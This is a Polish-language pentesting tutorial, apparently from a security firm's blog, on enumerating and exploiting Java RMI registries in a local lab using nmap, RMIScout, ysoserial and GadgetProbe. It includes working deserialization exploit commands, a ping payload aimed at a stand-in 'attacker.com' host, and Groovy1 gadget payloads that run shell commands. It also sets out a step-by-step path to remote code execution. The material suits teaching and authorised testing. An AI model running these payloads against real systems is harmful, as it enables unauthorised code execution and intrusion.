Java RMI dla pentesterów część druga – rozpoznanie i atakowanie non-JMX registries

Rekonesans

Serwer RMIRegistry jest uruchamiany zgodnie z częścią pierwszą artykułu, a przeprowadzany skan nmap jest kierowany przeciwko niemu (w rzeczywistości skanowanie dowolnego rejestru RMI da takie same wyniki. W razie potrzeby możesz skorzystać z przykładowego kodu z części pierwszej).

nmap -v -Pn -p 11099 -sV — script=+rmi-dumpregistry 127.0.0.1

Zobaczmy, jak użyć narzędzia RMIScout przeciwko powyższemu interfejsowi. Celem RMIScout jest zgadnięcie dostępnych metod w interfejsie RMI. Po wykonaniu tego kroku możesz zaimplementować swój własny interfejs i klienta zgodnie z częścią pierwszą i spróbować wywołać te metody. Należy jednak pamiętać, że wykonywanie czegoś ślepo wobec zasobu, który nie jest w twoim posiadaniu, może mieć nieprzewidywalne skutki uboczne, w tym trwałe uszkodzenie tego zasobu. Przed wykonaniem takich działań upewnij się, że właściciel jest świadomy potencjalnego ryzyka (podczas gdy metody takie jak getVersion() są raczej bezpieczne, nigdy nie wywołuj czegoś takiego jak shutDown()).

Możesz zainstalować RMIScout zgodnie z opisem na GitHubie:

Git clone https://github.com/BishopFox/rmiscout.git
cd rmiscout/
./gradlew shadowJar

Buduję go za pomocą narzędzia Gradle, zgodnie z opisem na stronie GitHub, ale możesz również pobrać już skompilowane wydanie TUTAJ.

Polecenie do sprawdzania sygnatur funkcji to:

./rmiscout.sh wordlist -i lists/prototypes.txt localhost 11099

Jeśli spojrzysz na listę, zobaczysz, jak wyglądają te prototypy:

W celu wykonania ćwiczenia, przewińmy listę i dodajmy funkcję „echo”, która domyślnie nie jest na liście. Jeśli nie dodasz jej ręcznie, nie zostanie wykryta!

String echo(Object randomParamName)

Teraz zapisz listę słów i uruchom RMIScout przeciwko rejestracji (Registry):

Komunikat „Skipping…” jest tylko informacją, że te funkcje były obecne na liście słów, ale zostały pominięte, ponieważ nie przyjmują argumentów. Interesująca jest zatem zielona część wyników.

Jak widać, funkcja została zidentyfikowana. Nawet jeśli nie znasz implementacji interfejsu, teraz możesz utworzyć własną z funkcją echo, tak jak przedstawiono w części pierwszej tego artykułu.

Inny tryb dostępny w narzędziu RMIScout to tryb bruteforce. Zamiast zgadywać wpisane na stałe sygnatury metod, pozwala on na większą różnorodność kryteriów wyszukiwania. Można go uruchomić za pomocą polecenia:

./rmiscout.sh bruteforce -i lists/methods.txt -r void,String -p String,Object -l 1,2 localhost 11099Code language: JavaScript (javascript)

Jeśli spojrzysz na plik methods.txt, zobaczysz, że zawiera tylko nazwy funkcji. Dodamy na końcu listy „echo”, aby nasza nietypowa nazwa metody została wykryta. Pamiętaj, żeby zapisać listę w takim stanie!

Reszta argumentów trybu bruteforce prezentuje się następująco:

  • -r zwracany typ danych
  • -p poszukiwane typy parametrów
  • -l zakres [od, do], ile parametrów funkcja powinna przyjmować jako dane wejściowe.

RMIScout użyje tych danych do generowania permutacji (kombinacji funkcji, typów parametrów i typów zwracanych) i spróbuje zgadnąć je na zdalnym rejestrze. Teraz, ponowne uruchomienie narzędzia pokaże, że metoda „echo” istnieje na zdalnym interfejsie.

Historical Attacks

Dawniej można było użyć narzędzia ysoserial – RMIRegistryExploit i JRMPClient, aby uzyskać prawie 100% pewne zdalne wykonanie kodu (zakładając, że w przeszłości istniały podatne biblioteki na prawie każdym classpathie). Te dwie wbudowane funkcje są zaprojektowane do nadużywania pewnych specyficznych mechanizmów rejestrów RMI, które są dość skomplikowane, więc tutaj ich nie opiszę. W skrócie, RMIRegistryExploit wykorzystuje fakt, że rejestry RMI korzystają z serializacji Java do komunikacji, a JRMPClient wykorzystuje rozproszone zbieranie śmieci, które również może być nadużywane w podobny sposób. Więcej szczegółów można znaleźć TUTAJ.

Ysoserial można pobrać i skompilować z tego repozytorium.

Dawniej było (w przypadku starszych wersji Javy nadal jest możliwe) zaatakować rejestry RMI za pomocą ysoserial, używając następujących poleceń. Zakładam, że pobrany ysoserial ma nazwę ysoserial.jar.

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit host port PayloadName command

lub

java -cp ysoserial.jar ysoserial.exploit.JRMPClient host port payloadname command

Gdzie payloadname to jeden z payloadów ysoserial, a command to polecenie, które ma zostać wykonane przez ten payload. Na przykład, payloadname command może być:

  • URLDNS http://mycollabid.burpcollaborator.net
  • CommonsCollections6 “ping attacker.com -c 3”

W obu przypadkach, ysoserial będzie działać w następujący sposób:

  • Podłączy się do zdalnego rejestru pod adresem host:port
  • Spróbować wstrzyknąć zserializowany ładunek (payload)
  • Jeśli PayloadName może zostać zdeserializowany (wszystkie „gadżety” są na zdalnym classpath i używana jest stara wersja Java), wtedy kod zostanie wykonany
  • Otrzymujemy reverse shell / DNS lookup

Jak wspomniałem wcześniej, jest to metoda która działała dawniej, ale wciąż istnieją aplikacje, które są ściśle powiązane z przestarzałą wersją Javy, więc warto spróbować. Wersja Javy nie powinna być nowsza niż JDK 1.7u21 i nie powinna mieć zainstalowanego łatki JEP290, aby była uznana za podatną.

JEP 290

To, co zakończyło swobodne wykorzystywanie rejestrów RMI, to łatka bezpieczeństwa o nazwie JEP 290. Możesz przeczytać więcej szczegółowych informacji technicznych na temat tej łatki i jej konsekwencji w tym artykule.

Wykorzystanie rejestrów RMI wciąż jest możliwe poprzez podanie obiektu zserializowanego jako argumentu do zdalnej metody. Bardzo ważna uwaga – nie każdy argument można zastąpić zserializowanymi obiektami; dotyczy to tylko tych, które są niemutowalnymi typami danych. Tutaj możesz zobaczyć, które typy danych są uważane za niemutowalne (typy prymitywne).

Należy pamiętać, że typy prymitywne mają odpowiednie tzw. klasy opakowujące (wrapper classes), co może być mylące, jak w poniższym przykładzie:

  • Prymitiwny int — ma odpowiadającą klasę opakowującą java.lang.Integer.
  • Prymitywny long — ma odpowiadającą klasę opakowującą java.lang.Long

itp.

Nie zagłębiam się zbytnio w szczegóły dotyczące typów podstawowych i niepodstawowych, ale dla tych, którzy są zainteresowani, można znaleźć więcej informacji na temat klas opakowujących tutaj.

W skrócie, jeśli masz do czynienia z rejestracją RMI, która działa na nowoczesnym Java, i chcesz wykonać kod na niej za pomocą wektora ataku deserializacji, potrzebujesz:

  • przynajmniej znalezioną jedną metodę,
  • ta metoda powinna korzystać z argumentu, który jest typem nieprymitywnym,
  • musisz zastąpić ten argument zserializowanym obiektem,
  • oczywiście łańcuch gadgetów wygenerowany przez ysoserial musi również być obecny na zdalnym classpath, w przeciwnym razie otrzymasz ClassNotFoundException.

Na przykład, jeśli została odkryta metoda na zdalnym rejestrze, której sygnatura to:

String(java.lang.Integer x)

Powinieneś stworzyć odpowiednie interfejsy/klienta, wygenerować payload za pomocą następującego polecenia:

java -jar ysoserial.jar CommonsCollections6 “ping attacker.com -c3”

I wywołaj metodę z tym zserializowanym obiektem jako argumentem… cóż, ręcznie nie jest to możliwe. Musisz użyć do tego narzędzia. Na przykład ponownie można użyć RMIScout (istnieją inne sposoby, ale uważam, że narzędzie RMIScout jest najbardziej przyjazne dla użytkownika). Co więcej, ma ono już zintegrowany ysoserial, więc jest to naprawdę wygodne.

Atakowanie RMI przy użyciu RMIScout i zserializowanych payloadów

Pokażę ci, jak używać narzędzia RMIScout jako narzędzia do eksploitacji — przykład jest bardzo prosty, a wiersz polecenia jest już udokumentowany na stronie GitHub projektu. Przejrzyjmy dwa scenariusze dotyczące RMIRegistry. Zauważ, że poniższy kod jest bardzo podobny do kodu podanego w pierwszej części, z jedną różnicą — dodano dodatkowe metody.

//RMIInterface.java
import java.rmi.*;
import java.rmi.registry.*;
import java.net.*;
interface RMIInterface extends Remote {
  public String echoObject(Object obj) throws RemoteException;
  public String echoString(String str) throws RemoteException;
  public String echoClass(Class cls) throws RemoteException;
  public String echoInt(Integer inte) throws RemoteException;
}
//Server.java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.rmi.Naming;
public class Server extends UnicastRemoteObject implements RMIInterface {
  public String echoObject(Object obj) throws RemoteException {
    return" Object: "+obj.toString();
  }
  public String echoString(String str) throws RemoteException {
    return" String: "+str.toString();
  }
  public String echoClass(Class cls) throws RemoteException {
    return" Class: "+cls.toString();
  }
  public String echoInt(Integer inte) throws RemoteException {
    Integer X = inte;
    return" Integer";
  }
  protected Server() throws RemoteException {
    super();
  }
  public static void main(String[] args) {
    try {
      System.out.println("[+] Trying to bind…");
      //Below IP:PORT can be changed
      Naming.rebind("rmi: //127.0.0.1:11098/RMIInterface", new Server());
        System.out.println("[+] Server started.");
      }
      catch (Exception e) {
        e.printStackTrace();
      }
    }
  }
}Code language: JavaScript (javascript)

Teraz kompilujemy kod używając polecenia:

javac *.java

Ponadto, będziemy potrzebować podatnej biblioteki Groovy — możesz ją pobrać z tego linku.

Zawartość katalogu przed uruchomieniem rmiregistry powinna wyglądać jak poniżej:

Upewnię się, że żaden inny rejestr nie jest uruchomiony za pomocą polecenia netstat, a następnie uruchomię nowo skompilowany serwer. Zauważ, że biblioteka Groovy została teraz dodana do ścieżki klas.

Uruchomienie nmap pokazuje, że rejestr jest dostępny i można go wyświetlić:

nmap 127.0.0.1 -p 11098 -sV -v -Pn -T4 — script=+rmi-dumpregistry

Teraz czas na ekscytującą część – spróbujmy zaatakować rejestr. Już znamy strukturę interfejsu, a także wiemy, jak postępować, jeśli nie mamy dostępu do tej informacji (próbujemy ją znaleźć lub zgadnąć).

W tym przypadku pominiemy fazę rozpoznania i skupimy się na wykonywaniu metod. Zauważ, że nasz interfejs ma następujące metody:

Wiemy również, że zdalny rejestr zawiera podatną bibliotekę Groovy w swojej ścieżce klas. Dlatego też, payload o nazwie Groovy1 z ysoserial może być zastosowany w celu jej wykorzystania.

Cały problem polega na tym, że nie możesz po prostu zadeklarować innego typu argumentu w implementacji funkcji. Jeśli interfejs dostarcza funkcję, która przyjmuje argument typu Integer, nie będziesz w stanie wywołać tej funkcji z argumentem typu Object.

Tym razem ponownie RMIScout pomógł nam w osiągnięciu tego celu. Wywołajmy RMIScout w trybie exploitacji przeciwko naszemu celowi:

./rmiscout.sh exploit -s ‘String echoInt(java.lang.Integer x)’ -p ysoserial.payloads.Groovy1 -c “touch /tmp/grovy1” -n RMIInterface localhost 11098
  • -s oznacza Sygnaturę Metody, która jest pobierana z interfejsu.
  • -p to nazwa payloadu używanego przez ysoserial, pobranego z jego classpath. Wszystkie dostępne klasy na ścieżce ysoserial.payloads można znaleźć tutaj – są to po prostu te same ładunki używane przez ysoserial.
  • -c to komenda do która ma się wykonać
  • -n to nazwa rejestru
  • dwa ostatnie argumenty to host i port docelowego rejestru.

Po wykonaniu komendy, mimo tego, co mówi komunikat błędu, payload został uruchomiony. Plik został utworzony w /tmp/ i możesz również zobaczyć w outpucie z serwera, że dane zostały przetworzone.

Czerwiec 2020: Problemy z typami String i prymitywnymi (ang. primitives)

Już wcześniej wspomniałem, że nie można wykorzystać interfejsu RMI, nadużywając funkcji, które przyjmują argumenty typu prymitywnego. Niestety, to samo dotyczy typu String – po poprawce wydanej w czerwcu 2020 roku. Nie zamieszczę ponownie zaktualizowanego kodu źródłowego interfejsu – po prostu wiedz, że dodaję tutaj przykładowe funkcje, które zwracają String (typ zwracany nie ma nic wspólnego z podatnością) i przyjmują jako argument typ String (to jest istotne). Zacznijmy od próby wykonania metody echoString.

./rmiscout.sh exploit -s ‘String echoString(String x)’ -p ysoserial.payloads.Groovy1 -c “touch /tmp/grovyString” -n RMIInterface localhost 11098

Nic się nie stało. Wynika to z faktu, że, jak już wcześniej wspomniano, w czerwcu 2020 roku dodano kolejną poprawkę, która sprawia, że typ String jest chroniony przed dowolną deserializacją w ten sam sposób, co typy prymitywne. W powiązanym artykule znajdziesz dalsze informacje techniczne oraz kod źródłowy wspomnianej poprawki.

Jeśli teraz spróbujemy wywołać inną metodę z zdalnego interfejsu, która przyjmuje argument typu Class, wykonanie kodu również działa poprawnie.

Przyjrzyjmy się innemu przykładowi typów prymitywnych: int w porównaniu do java.lang.Integer. Interfejs (i serwer) został zmodyfikowany w celu uwzględnienia dwóch funkcji: jedna przyjmuje int (typ prymitywny), a druga java.lang.Integer (klasę opakowującą dla int) jako argument. Jak widać na poniższych zrzutach ekranu, tylko atakowanie drugiej funkcji skutkuje wykonaniem kodu.

Dodatkowy etap: Badanie zdalnej ścieżki dostępu do klas (Classpath)

Jest jeszcze jedno narzędzie, które zostało wydane razem z RMIScout i warto je sprawdzić — nazywa się GadgetProbe. Jeśli nie znasz pojęcia „gadżetów”, koniecznie przyjrzyj się tematowi Deserializacji w Javie (https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet).

W skrócie, Gadżety to określone klasy Javy (i nie tylko Javy), które są dostępne na ścieżce klas aplikacji docelowej (lub w tym przypadku, rejestru). Pewne kombinacje gadżetów Javy pozwalają na tworzenie złośliwych „łańcuchów gadżetów”, które mogą prowadzić do kompromitacji aplikacji docelowej, jeśli łańcuch jest deserializowany w sposób nieweryfikowany. Skutki kompromitacji mogą się różnić od DNS lookupów po wykonanie kodu. Ysoserial (i narzędzia z nim związane, takie jak Java Deserialization Scanner w Burp lub RMIScout w trybie exploit) służy do generowania łańcuchów gadżetów wykorzystujących niebezpieczne deserializowanie.

GadgetProbe polega na deserializacji uniwersalnego gadżetu – URLDNS. Ten payload z ysoserial zawsze działa (powoduje tylko wyszukanie DNS na punkcie deserializacji) pod warunkiem, że jest stosowany wobec dowolnej (dowolnej oznacza, że ​​nie ma sprawdzania typów podczas procesu deserializacji) deserializacji. W związku z tym w tym przypadku możesz skierować atak na dowolną metodę, która przyjmuje typ danych inny niż prymitywne (lub ciąg znaków – String) jako argument.

Badanie klas na zdalnej ścieżce klas może pomóc zrozumieć, który gadżet z zestawu narzędzi ysoserial powinien być skuteczny wobec określonego interfejsu, o ile już wykryłeś podatność niebezpiecznej deserializacji z interakcją DNS. Po prostu – interakcja z DNS jest dowodem koncepcyjnym (podobnym do alert(1) w atakach XSS) i aby mieć więcej możliwości, musisz znaleźć odpowiednie gadżety, a następnie użyć odpowiedniego payloadu, który składa się z dostępnych gadżetów, co ostatecznie pozwala na zdalne wykonanie kodu (lub inne poważne interakcje z celem, takie jak zapis/usuwanie plików itp.).

Pobrałem GadgetProbe z GitHub i zbudowałem go:

RMIRegistry pokazany na zrzutach ekranu jest tym samym, który został zeskanowany przy użyciu nmap na początku artykułu. Teraz, aby przygotować GadgetProbe do uruchomienia i dla celów demonstracyjnych jego możliwości, zmieniłem domyślną listę słów na GadgetProbe/wordlists/mavenpopular.list.

Po prostu dodaję „java.lang.String” na końcu listy słów klas, ponieważ jestem pewien, że będzie ona na ścieżce klas docelowej – dlatego, że „java.lang.String” jest natywną, szeroko stosowaną klasą.

W następnym kroku używam narzędzia BurpPro Collaborator Client, aby wygenerować link do collaboratora. Wkleję go do wiersza poleceń, aby RMIScout użył GadgetProbe do sondowania zdalnej ścieżki klas:

./rmiscout.sh probe -s ‘String echo(java.lang.Object qwewqe)’ -i ../GadgetProbe/wordlists/maven_popular.list -d “av9nuav4lhol8ytlc9ut2ditlkrgf5.burpcollaborator.net” -n RMIInterface localhost 11099

Już wyjaśniam co się stało:

  • Najpierw bierzemy metodę, którą wcześniej uzyskaliśmy w procesie wyliczania z RMIScout. Jest to odkryta metoda echo,
  • Następnie uruchamiamy RMIScout z parametrem sondowania, który dodatkowo jest powiązany z listą słów maven_popular,
  • Dodatkowe parametry informują RMIScout o punkcie końcowym dns, który zostanie rozwiązany, jeśli klasa ze słownika również znajduje się na zdalnej ścieżce klas,
  • Podaje również informacje o wiązaniu rejestru, porcie i hoście.

Po uruchomieniu możesz zobaczyć, że java.lang.String została rozwiązana!

Zwróć uwagę, że biały tekst nie jest potwierdzeniem wykonania metody. Powinieneś polegać na interakcji z DNS, którą można zobaczyć, w tym przypadku, w burp.

Jak już wspomniano, interakcja z DNS jest jednym z „uniwersalnych gadżetów”, ponieważ polega na natywnych klasach javy, dlatego jest tak niezawodna w mechanizmach sondowania. Ponadto, dobrym pomysłem jest dodanie niektórych „zawsze prawdziwych” klas, takich jak java.lang.String do swojej listy klas, więc jeśli nie możesz ich znaleźć, można wywnioskować, że zastosowano jakiś środek zapobiegawczy.

Podsumowanie

Podsumowując, testowanie interfejsów RMI non-JMX (takich, które nie implementują javax.management.remote.rmi.RMIServer) obejmuje następujące kroki:

  • Rozpoznanie, używając Nmap, aby wyświetlić informacje o rejestrze.
  • Sprawdzenie, czy InvocationHandler jest dostępny; jeśli nie, dostosowanie ustawień sieci/DNS.
  • Próby znalezienia zdalnego interfejsu online lub w kodzie źródłowym, jeśli to możliwe.
  • W przeciwnym razie, próby zgadywania metod za pomocą np. narzędzia RMIScout.
  • Opcjonalnie – próby sondowania (badania) gadżetów na zdalnej ClassPath
  • Znalezienie metody, która używa typu nie-prymitywnego jako parametru.
  • Próba jej uruchomienia w trybie eksploitacji RMIScout, pamiętając, że:
    • Zmienne prymitywne i stringi nie mogą zostać zdeserializowane.
    • Ścieżka klas zdalnego systemu musi zawierać podatne biblioteki gadżetów.
    • Inne niestandardowe filtry deserializacji mogą być zastosowane, więc nadal nie można być pewnym, czy RCE jest możliwe, chyba że masz dostęp do kodu źródłowego.

Oczywiście, ostatnie łatki znacznie utrudniły atakowanie rejestrów RMI (mówimy tu nadal o rejestrach non-JMX, ponieważ dla JMXRMI istnieją inne techniki). Jednak wciąż warto zbadać te rejestry, ponieważ potencjalne RCE zawsze jest nagrodą warta poświęcenia czasu.

Referencje:

Czy Twoja firma jest bezpieczna w sieci?

Dołącz do grona naszych zadowolonych klientów i zabezpiecz swoją firmę przed cyberzagrożeniami już dziś!

Zostaw nam swoje dane kontaktowe, a nasz zespół skontaktuje się z Tobą, aby omówić szczegóły i dopasować ofertę do Twoich potrzeb. Dbamy o pełną dyskrecję i poufność Twoich danych, dlatego możesz nam zaufać.

Chciałbyś od razu zadać pytanie? Odwiedź naszą stronę kontaktową.